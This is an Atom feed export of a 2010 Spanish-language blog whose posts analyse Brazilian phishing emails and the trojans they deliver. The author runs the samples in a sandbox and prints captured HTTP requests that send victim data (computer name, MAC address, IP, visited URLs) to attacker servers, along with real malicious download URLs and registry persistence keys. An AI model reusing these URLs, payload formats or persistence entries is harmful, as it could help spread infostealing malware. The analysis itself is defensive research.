src="http://4.bp.blogspot.com/_-nrWEUQlmUk/TESnux9afII/AAAAAAAAAEU/w2ZoDl3_q2Q/s640/imagen3.PNG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;msg.txt contiene el mensajes que se envía por email, en este caso se trata de una foto con un link a la descarga de Visualizar.com.&lt;br /&gt;mstimer.exe y csrrs.exe son los encargados de hacer el trabajo sucio&lt;br /&gt;&lt;br /&gt;csrrs.exe es quien se conecta con la base de datos para enviar y descargar correos e información.&lt;br /&gt;&lt;br /&gt;mstimer.exe es el que realiza la autenticación contra hotmail para enviar los correos.&lt;br /&gt;&lt;br /&gt;El método de subsistencia parece ser dos entradas al registro, una para cada uno de los dos ejecutables anteriores.&lt;br /&gt;&lt;br /&gt;[HKEY_USERS\S-1-5-21-527237240-1958367476-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Run] &lt;br /&gt;"Winnet"="C:\\Arquivo de programas\\csrrs.exe" &lt;br /&gt;"Msnnet"="C:\\Arquivo de programas\\mstimer.exe" &lt;br /&gt;&lt;br /&gt;COMPLETAMENTE recomendable eliminarlas, junto con TODO el directorio "Arquivo de programas", notese... "arQUIVO de programas", siempre se trata de malware diseñado manteniendo como objetivo primario a brasil. También es recomendable elimiar TODO el contenido temporal del browser y pasar el antivirus (si, el que actualizas todos los días :P).&lt;br /&gt;&lt;br /&gt;Voy a intentar... si el tiempo y la cabeza me lo permiten investigar un poco mas sobre los archivos descargados.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-2560148312703818660?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/2560148312703818660/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/07/se-mantiene-el-mo-video-porno-caseiro.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/2560148312703818660'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/2560148312703818660'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/07/se-mantiene-el-mo-video-porno-caseiro.html' title='Se mantiene el MO: &quot;Video porno caseiro de bruno e Eliza Samudio..Download!‏&quot;'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_-nrWEUQlmUk/TESQyjYsVqI/AAAAAAAAAD0/2mpwGLeEAGo/s72-c/Sin+nombre.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-5841855939848830359</id><published>2010-07-18T01:01:00.000-03:00</published><updated>2010-07-18T01:01:31.506-03:00</updated><title type='text'>Otro caso interesante: "O vídeo mais acessado do youtube, mais de 56 milhões de acessos. muito bom esse vídeo!!!!!"</title><content type='html'>En fin... esto se está haciendo vicio ya. Con pocas ganas de estudiar para los finales, aca estoy, de nuevo escribiendo sobre un mail fraudulento. Una vez mas el medio es, un supuesto video de youtube, lo gracioso es que es del mismo mail que los dos anteriores xD. El título indica el texto del mail, que viene junto con una imagen que aparenta ser un video, pero no es mas que un link al sitio: "http://premiumassessoria.com.br/css/index.p hp" que nos invita a descargar un archivo (ver.exe, sisi... .exe) de un sitio ruso....&lt;br /&gt;&lt;br /&gt;Si por una de esas cuestiones de la vida ejecutamos este archivo (en las máquinas virtuales no uso antivirus, porque son justamente para hacer estas cosas feas) y el SIEMPRE actualizado antivirus no nos detiene, nos encontraremos bajando (de vidaboa2009.pochta.ru, que por momentos parece estar inhabilitado) un archivo llamado Vver.exe. La resolución dns del nombre nos indica que es un CNAME, y que realmente apunto a ftp.pochta.ru (un ftp si acceso anónimo xD), así y todo el archivo se descarga por http.&lt;br /&gt;&lt;br /&gt;Acá se pone interesante, luego de descargar el archivo e infectar el sistema, pide una resolución dns para smtp.terra.com.br (un servidor de correo, seguramente de terra brasil). Con la dirección obtenida se intenta una conexión smtp (seguramente para utilizar el servidor de correo como servidor para enviar spam), pero sin éxito, posiblemente la gente de terra ya se puso manos a la obra.&lt;br /&gt;&lt;br /&gt;El siguiente dominio a consultar es www.arqueiroverde.net, y se envía por POST la siguiente info a http://www.arqueiroverde.net/enviador.php&lt;br /&gt;&lt;br /&gt;praquem=xurupita02@gmail.com&amp;amp;titulo=.::.INFECT.::.&amp;amp;texto=:::=-=-=-=-=-=-=-=-=-=-=-=-=-=-::: ::Usuario::&amp;nbsp; ::Monitor:: 1280 X 800 ::HD Fisico::::0485F93D ::Mac Adress:::00-0C-29-D5-C0-72 ::Data:: 17/07/2010 ::Hora::: 23:47:18 =-=-=-=--=-=-=-=-=-=-==-=-=-=-==-= &amp;amp;&lt;br /&gt;&lt;br /&gt;Otro mail para nuestra lista de buenos amigos xD. &lt;br /&gt;&lt;br /&gt;Arqueiroverde.net... lista el contenido del directorio raiz del sitio, algo muy raro, se pueden ver dos directorios, y el archivo enviador.php.&lt;br /&gt;&lt;br /&gt;Por ultimo, el proceso que queda en ejecución en background (spoolvv) establece una comunicación http con el host "http://sbr9.hostdime.com.b r", pero no pude ver tráfico, posiblemente ya esté deshabilitado.&lt;br /&gt;&lt;br /&gt;mmmm, para removerlo...&lt;br /&gt;&lt;br /&gt;Primero que nada limpiar el contenido temporal del browser, cookies, etc. Luego eliminar los archivos que se crearon en C:\Windows\System32 (en caso de XP):&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_-nrWEUQlmUk/TEJ78u50WkI/AAAAAAAAADs/W8Tu7la3fVQ/s1600/ver.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="265" src="http://3.bp.blogspot.com/_-nrWEUQlmUk/TEJ78u50WkI/AAAAAAAAADs/W8Tu7la3fVQ/s640/ver.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Y por último quitar la clave de autoarranque del registro:&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&lt;br /&gt;@="C:\\Windows\\System32\\win_update.exe"&lt;br /&gt;&lt;br /&gt;Al parecer para este llegué un poco tarde, ya que está bastante restringida su operación, al menos al parecer. Espero que aparezca uno mas interesante en estos días.&lt;br /&gt;&lt;br /&gt;Tendría que ir pensando en escribir algo distinto, pero bue... por ahora la facultad no me permite otra cosa.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-5841855939848830359?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/5841855939848830359/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/07/otro-caso-interesante-o-video-mais.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/5841855939848830359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/5841855939848830359'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/07/otro-caso-interesante-o-video-mais.html' title='Otro caso interesante: &quot;O vídeo mais acessado do youtube, mais de 56 milhões de acessos. muito bom esse vídeo!!!!!&quot;'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-nrWEUQlmUk/TEJ78u50WkI/AAAAAAAAADs/W8Tu7la3fVQ/s72-c/ver.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-8066940576116956249</id><published>2010-07-15T02:17:00.003-03:00</published><updated>2010-07-15T09:19:49.056-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='cracking'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Otro mail interesante "Encontrado o Corpo da ex-amante do Goleiro Bruno do Flamento.‏"</title><content type='html'>Como tengo muuuuuchos contactos que me quieren y se preocupan por mi falta de interacción con la sociedad, recibo varios mails al día, de los cuales la mayoria son cadenas/spam/phishing, y solamente leo los últimos xD.&lt;br /&gt;Hoy me encontré con uno que me invita a ver un video de youtube sobre el cuerpo de alguna ex-amante de "Bruno do Flamento", que al parecer se trata de un caso de homicidio donde se investiga a un jugador del club Flamengo llamado Bruno. Los brasileros tienen un interesante índice de casos de phising xD.&lt;br /&gt;El link a youtube es: http://www.youtube.com/watch?v=SroGd-1ahG0&amp;amp;feature=related-0.48874 realmente es el link a un video que no está disponible (seguramente porque NUNCA existió tal video), pero a decir verdad cuando uno hace click sobre el supuesto link, este no es mas que texto con un enlace a la dirección "http://bit.ly/byg70N?0.48874", sisi, uno de esos enlaces anonimizados xD. El link nos "invita" a descargar un archivo llamado "fotos.com" de http://www.oabpr.com.br/imagens/noticia/g/fotos. com, sisi.... ni se esfuerzan para ocultar la extensión xD.&lt;br /&gt;Un sitio un tanto... extraño diría... diseñado por los chicos de Webk2 (cuyo sitio está terriblemente bloqueado por los navegadores...). El sitio oabpr.com.br adolece de MUCHAS vulnerabilidades a SIMPLE vista, y es el lugar ideal para cultivar porquerias, como están haciendo los chicos de "&lt;span style="font-family: Verdana; font-size: medium;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;Hacked &lt;span style="color: yellow;"&gt;by &lt;span style="color: lime;"&gt;Vrs-hCk &lt;span style="color: blue;"&gt;- &lt;span style="color: red;"&gt;c0li.&lt;span style="color: yellow;"&gt;m0de.&lt;span style="color: lime;"&gt;0n.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="color: red;"&gt;&lt;span style="color: yellow;"&gt;&lt;span style="color: lime;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="color: red;"&gt;&lt;span style="color: yellow;"&gt;&lt;span style="color: lime;"&gt;&lt;span style="color: black;"&gt;".&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;span style="font-family: Verdana; font-size: medium;"&gt;&lt;span style="font-size: small;"&gt;El sitio está... increiblemente comprometido, al punto que da a pensar que fue creado con esa idea, si bien parece tener contenido relacionado (es un sitio de los abogados de brazil, que loco, no?). Entre las cosas que hay: un shell en php que permite hacer prácticamente cualquier cosa desde el servidor, scripts para enviar spam..., varios archivos .exe y .com para descargar e infectarse..., etc, y un aparente gestor de logs xD. MUY MUY comprometido...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;span style="font-family: Verdana; font-size: medium;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;En fin..., ahora un poco del funcionamiento de nuestro fotos.com:&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;1-Lo primero que aparentemente hace es descargarse un archivo llamado sidebar.exe (algun tipo de barra para IE posiblemente) de otro posible sitio comprometido: www.avinnovo.com/modules/mod_archive/tmpl/sidebr. exe. &lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;2-Luego comienza a descargar imágenes,alguno que otro .sys/.exe/.pri/.ico, muchas de hecho, del sitio sambananas.dk/pics/train/ (dk resulta ser el TLD correspondiente a Dinamarca...). Gracioso que todas las imágenes que descarga hacen referencia a entidades bancarias... e íconos de navegadores web como IE y FF.&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;3-Una vez que descarga todas sus cosas y las acomoda en "Arquivos de progrmas" y directorios locales del usuario, ahora, haciendo uso de http://meuip.datahouse.com.br/, el bichito captura la ip publica del infectado :D. Y aca viene algo divertido, luego de capturar mi IP, se conecta sin resolución de nombres a una dirección específica (aparentemente otro sitio brasilero comprometido, que mas bien parece un fake porque no tiene un nombre de dominio propio...) a la cual envía los siguientes datos (POST /ajax/indx.php HTTP/1.0):&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;URLENCODED:&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;from=%5B%2B1%5D+INFECT+%3D%29&amp;amp;FromMail=infects%40rbd%2Ecom&amp;amp;destino=fcorp2009%40gmail%2Ecom&amp;amp;assunto=%5B%2B1+Infect%5D%3A+JUAN%2DAA57CF7254+Vem+q+vem+INFECTs%21+%3A%29&amp;amp;mensagem=Computer+Name%3A+JUAN%2DAA57CF7254%0DStatus+GBPLUGIN%3A+Plugin+de+Seguran%E7a+n%E3o+Instalado%2E%0DDate%3A+15%2F07%2F2010+%2D+Atual%0DTime%3A+00%3A14%3A52+%2D+Atual%0DIP%3A+201%2E253%2E149%2E60%0DMAC+ADR%3A+00%2D0C%2D29%2DD5%2DC0%2D72%0DLocaliza%E7%E3o%3A+Espa%F1a%0D%5Bx%5D+Url%27s+Visitadas+%5Bx%5D%0D%0A%0D%0Ahttp%3A%2F%2Fchat%2Earnet%2Ecom%2Ear%2F%0D%0A%5C%5C10%2E0%2E0%2E2%5CC%0D%0Ahttp%3A%2F%2Fwww%2Emegaupload%2Ecom%2F%0D%0Ahttp%3A%2F%2Fwww%2Eamericaenvivo%2Ecom%2Ear%2F%0D%0A&amp;amp;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;URLDECODED:&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;from=[+1] INFECT =)&amp;amp;FromMail=infects@rbd.com&amp;amp;destino=fcorp2009@gmail.com&amp;amp;assunto=[+1 Infect]: JUAN-AA57CF7254 Vem q vem INFECTs! :)&amp;amp;mensagem=Computer Name: JUAN-AA57CF7254 Status GBPLUGIN: Plugin de Segurança não Instalado. Date: 15/07/2010 - Atual Time: 00:14:52 - Atual IP: 201.253.149.XX MAC ADR: 00-0C-29-D5-C0-72 Localização: España [x] Url's Visitadas [x]&amp;nbsp; http://chat.arnet.com.ar/ \\10.0.0.2\C http://www.megaupload.com/ http://www.americaenvivo.com.ar/ &amp;amp;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;JA!, mirá que bien, saben que a veces paseo por el chat de arnet, bajo contenido GPL de megaupload y miro américa xD. Además de mi IP, máscara de red y mi hermoso nombre xD. También dice (según mi PRECARIO portugues) que el plugin de seguridad a sido instalado mmm... y que soy de españa, algo obvio... joder!&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;Aparentemente son datos para enviar por email, por las direcciones de origen y destino involucradas...&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;HOLA, ahora estoy oficialmente infectado xD.&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;Lo gracioso, es que&amp;nbsp; http://201.2.106.69/ajax/indx. php, si, nótese inDX, sin E, no existe en el servidor (o responde con 404 a modo de despistar...), si en cambio existe index.php (que da un error al conectarse al servidor mysql aparentemente).&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;En fin... son muchos los bancos que se encuentran representados por las imágenes que se descargan, evidentemente destinadas a phishing...&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;También aparece un tercero dominio involucrado..., hum.au.dk, otro sitio de dinamarca posiblemente comprometido, ya que aparentemente se trata de una organización de bien xD. También el dominio http://cluster003.ovh.net/, aparentemente un servidor de mail "multipropósito", voy a ver mas sobre este, parece interesante.&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;Bueno, para permanecer atento, el bichito registra un par de claves en el registro de windows (el viejo truco xD):&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;"ctmon2"="C:\\Arquivos de programas\\Sidebar\\new.exe"&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;"ctmon32"="C:\\Arquivos de programas\\Sidebar\\java32.exe"&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&amp;nbsp;[HKEY_USERS\S-1-5-21-527237240-1958367476-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Run]&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;"msnmsr"="C:\\Arquivos de programas\\Sidebar\\new.exe"&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;"ctmon32"="C:\\Arquivos de programas\\Sidebar\\java32.exe"&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;[HKEY_USERS\S-1-5-21-527237240-1958367476-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Run]&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;"msnmsr"="C:\\Arquivos de programas\\Sidebar\\new.exe"&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;"ctmon32"="C:\\Arquivos de programas\\Sidebar\\java32.exe"&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;y ahora?&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;Suponiendo que este sea el único método de supervivencia que utiliza, su eliminación es simple, basta con buscarlo en el registro y eliminar todas las claves de ese tipo, remover por completo el directorio "Arquivos de programas" (salvo que tengas el sistema operativo en portugues jajajaja), y eliminar todo el contenido temporal de internet (y pasar el antivirus xD, si es que todavía funciona).&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;Se extendió demasiado esto jaja, solo espero que alguien lo lea y comente al respecto. Me gustaría poder hacer un análisis un poco mas forense del tema pero ni el conocimiento ni el tiempo me lo permiten, al menos por ahora.&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;No puse muchos nombres de dominio, IPs e imágenes porque... bueno, no quiero romperle las bolas a nadie, solamente mostrar lo que está pasando.&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;Está claro que el phishing está en su pico mas alto de productividad... no noté cambio alguno en mis browsers FF 3.5.10 e IE 6.0, pero posiblemente un análisis mas detallado de los archivos descargados sea interesante, después de todo uno de los datos enviados por el bichito es una confirmacion de actualización/infección...&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #f3f3f3;"&gt;En fin, aca corto, cualquier comentario es bien venido :P.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-8066940576116956249?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/8066940576116956249/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/07/otro-mail-interesante-encontrado-o.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/8066940576116956249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/8066940576116956249'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/07/otro-mail-interesante-encontrado-o.html' title='Otro mail interesante &quot;Encontrado o Corpo da ex-amante do Goleiro Bruno do Flamento.‏&quot;'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-1919123999148678990</id><published>2010-07-09T01:55:00.002-03:00</published><updated>2010-07-09T02:33:03.377-03:00</updated><title type='text'>Los chicos de brazil y sus troyanos (botnet?)</title><content type='html'>Hoy a la siesta mientras esperabamos a Nicolás, Fernando desarmaba una xbox y yo... leía un poco de DB2 me llegó un mail de un contacto del messenger que jamás me escribiría un mail xD. Cuando leo el mail, claramente no era del remitente que acusaba ser, (incluso hotmail lo detectó como posible falsificación) ya que venía escrito en portugues :P y dice: &lt;br /&gt;&lt;br /&gt;Desculpa, por nao ter enviado logo, mas ai esta  o album para visualizar ta ....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CLIQUE PARA VISUALIZAR&lt;br /&gt;-0.36152&lt;br /&gt;&lt;br /&gt;Que si mi pésimo portugues de secundario no se equivoca significa: "Perdona por no haberte enviado el logo, aqui está el album para ver...", gracioso. En fin..., viendo el link un poco dije... veamos que me trae este dulce mail xD: "http://correioss.info/visualizar . php?=fotosaniversario.html?0.36152", (notese los espacios en el punto" . ") el link nos pide descargar un hermoso ejecutable (visualizar.exe). &lt;br /&gt;&lt;br /&gt;http://correioss.info ... "It works!" para el que alguna vez instaló apache en un debian (por ejemplo), este es el mensaje por defecto de una instalación exitosa :D. Los chicos instalaron apache para jugar... Y como jugar es divertido empecé a buscar directorios interesantes en el servidor, vean http://correioss.info/php/ :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_-nrWEUQlmUk/TDaczsK0UpI/AAAAAAAAADc/RBcQhxlK2vk/s1600/botnet1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_-nrWEUQlmUk/TDaczsK0UpI/AAAAAAAAADc/RBcQhxlK2vk/s320/botnet1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Un login :P, los chicos tienen un login para jugar!!! bien... probando un nombre cualquiera a ver si me dejan jugar a mi también :D:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_-nrWEUQlmUk/TDadtloYwfI/AAAAAAAAADk/XUmSuQ4rhpQ/s1600/botnet2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="201" src="http://3.bp.blogspot.com/_-nrWEUQlmUk/TDadtloYwfI/AAAAAAAAADk/XUmSuQ4rhpQ/s640/botnet2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;Apaaaaa!!! parece que juan no está invitado a la fiesta de don "S1turn0" y no tengo ningún infectado :P. Al parecer los chicos perdieron un archivo relatorio.html.&lt;br /&gt;El sitio está dividido en 3 frames, el superior es cont.php, el del medio es relatorio.html y el de abajo rdp.php. &lt;br /&gt;&lt;span style="color: blue;"&gt;logout&lt;/span&gt;&lt;span style="color: black;"&gt; es un enlace a un lugar llamado: http://www.site.com.br/contador/ que no es mas que una imagen de un 0 (en este caso), www.site.com.br es el sitio de un hosting de brazil...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;&amp;nbsp;&lt;/span&gt;Como me fui quedando sin ideas decidí ver que pretendía de mi la invitación (visualizar.exe), a diferencia de los archivos "analizados" anteriormete este es mas divertido :P.&lt;br /&gt;&lt;br /&gt;Entonces ejecuté el archivito en cuestión en un entorno un tanto aislado (windows XP SP3 + SandBoxie + con conexión a internet).&lt;br /&gt;Lo que sucedio fue: &lt;br /&gt;1-Pidio una resolución de nombres para el dominio correioss.info y con la ip devuelta hiso lo siguiente:&lt;br /&gt;&lt;br /&gt;/*PETICION*/&lt;br /&gt;POST /php/contador.php HTTP/1.0&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Content-Length: 161&lt;br /&gt;Host: correioss.info&lt;br /&gt;Accept: text/html, */*&lt;br /&gt;User-Agent: Mozilla/3.0 (compatible; Indy Library)&lt;br /&gt;&lt;br /&gt;computador=JUAN%2DAA57CF7254&amp;amp;usuario=Administrador&amp;amp;shd_fisico=00EE2004&amp;amp;shd_firmware=0485F93D&amp;amp;mac=00%2D0C%2D29%2D6C%2DC1%2D1A&amp;amp;windir=&amp;amp;pag_inic=http%3A%2F%2Fla%2F&amp;amp;&lt;br /&gt;&lt;br /&gt;/*RESPUESTA*/ &lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Fri, 09 Jul 2010 03:42:28 GMT&lt;br /&gt;Server: Apache/2.2.8 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_perl/2.0.3 Perl/v5.8.8&lt;br /&gt;X-Powered-By: PHP/5.2.6-3ubuntu4.5&lt;br /&gt;Content-Length: 236&lt;br /&gt;Keep-Alive: timeout=15, max=100&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Warning&lt;/b&gt;:&amp;nbsp; fopen(08-Jul-2010 23-42-29.html) [&lt;a href="http://www.blogger.com/function.fopen"&gt;function.fopen&lt;/a&gt;]: failed to open stream: Permission denied in &lt;b&gt;/var/www/php/contador.php&lt;/b&gt; on line &lt;b&gt;15&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Nao pude abrir o seu arquivo...&lt;br /&gt;&lt;br /&gt;Divertido como se hicieron con mi nombre de usuario, dirección mac, etc... JA! estos chicos molestos. Pero al parecer no pudieron registrar mucho porque falló la operación fopen por permisos denegados xD.&lt;br /&gt;&lt;br /&gt;2-No les alcanzó con cargarse mis datos, vinieron por mas... ahora el bichito intenta acceder a una suerte de login con:&lt;br /&gt;&lt;br /&gt;/*PETICION*/&lt;br /&gt;GET /php/acesso.php HTTP/1.1&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Host: correioss.info&lt;br /&gt;Accept: text/html, */*&lt;br /&gt;User-Agent: Mozilla/3.0 (compatible; Indy Library)&lt;br /&gt;&lt;br /&gt;/*RESPUESTA*/&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Fri, 09 Jul 2010 03:42:29 GMT&lt;br /&gt;Server: Apache/2.2.8 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_perl/2.0.3 Perl/v5.8.8&lt;br /&gt;X-Powered-By: PHP/5.2.6-3ubuntu4.5&lt;br /&gt;Content-Length: 934&lt;br /&gt;Keep-Alive: timeout=15, max=100&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Warning&lt;/b&gt;:&amp;nbsp; fopen(acessos.txt) [&lt;a href="http://www.blogger.com/function.fopen"&gt;function.fopen&lt;/a&gt;]: failed to open stream: Permission denied in &lt;b&gt;/var/www/php/acesso.php&lt;/b&gt; on line &lt;b&gt;3&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Warning&lt;/b&gt;:&amp;nbsp; fread(): supplied argument is not a valid stream resource in &lt;b&gt;/var/www/php/acesso.php&lt;/b&gt; on line &lt;b&gt;4&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Warning&lt;/b&gt;:&amp;nbsp; fclose(): supplied argument is not a valid stream resource in &lt;b&gt;/var/www/php/acesso.php&lt;/b&gt; on line &lt;b&gt;5&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Warning&lt;/b&gt;:&amp;nbsp; fopen(acessos.txt) [&lt;a href="http://www.blogger.com/function.fopen"&gt;function.fopen&lt;/a&gt;]: failed to open stream: Permission denied in &lt;b&gt;/var/www/php/acesso.php&lt;/b&gt; on line &lt;b&gt;7&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Warning&lt;/b&gt;:&amp;nbsp; fputs(): supplied argument is not a valid stream resource 